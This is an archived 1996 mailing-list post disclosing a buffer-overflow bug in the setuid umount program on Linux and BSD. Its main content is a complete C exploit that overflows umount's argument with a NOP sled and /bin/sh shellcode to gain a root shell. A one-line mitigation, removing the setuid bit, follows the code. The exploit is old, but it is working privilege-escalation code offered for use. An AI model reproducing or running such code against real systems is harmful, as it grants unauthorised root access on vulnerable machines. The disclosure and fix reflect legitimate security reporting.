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umount exploit





                         Linux & BSD's umount exploit
                                       
   Paulo Jorge Alves Oliveira (pjao@dux.isec.pt)
   Tue, 29 Oct 1996 12:38:52 +0100
   
Hello,

  there is a bug in berkeley-derived umount, which allows attacker to
get root access (see freebsd-security for details). Here is exploit for
Linux (tested on 2.0.XX), for BSD (tested on FreeBSD 2.1) and a quick
soluction.

Best regards, Paulo

-------------------------------------- linux_umount_exploit.c ----------
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   (void)alarm((u_int)0);
   execl(PATH_MOUNT, "umount", buff, NULL);
}


--------------------------------------------------------------------------

  Here is a little solution --
    chmod -s /bin/umount
 This way only root can run this command.


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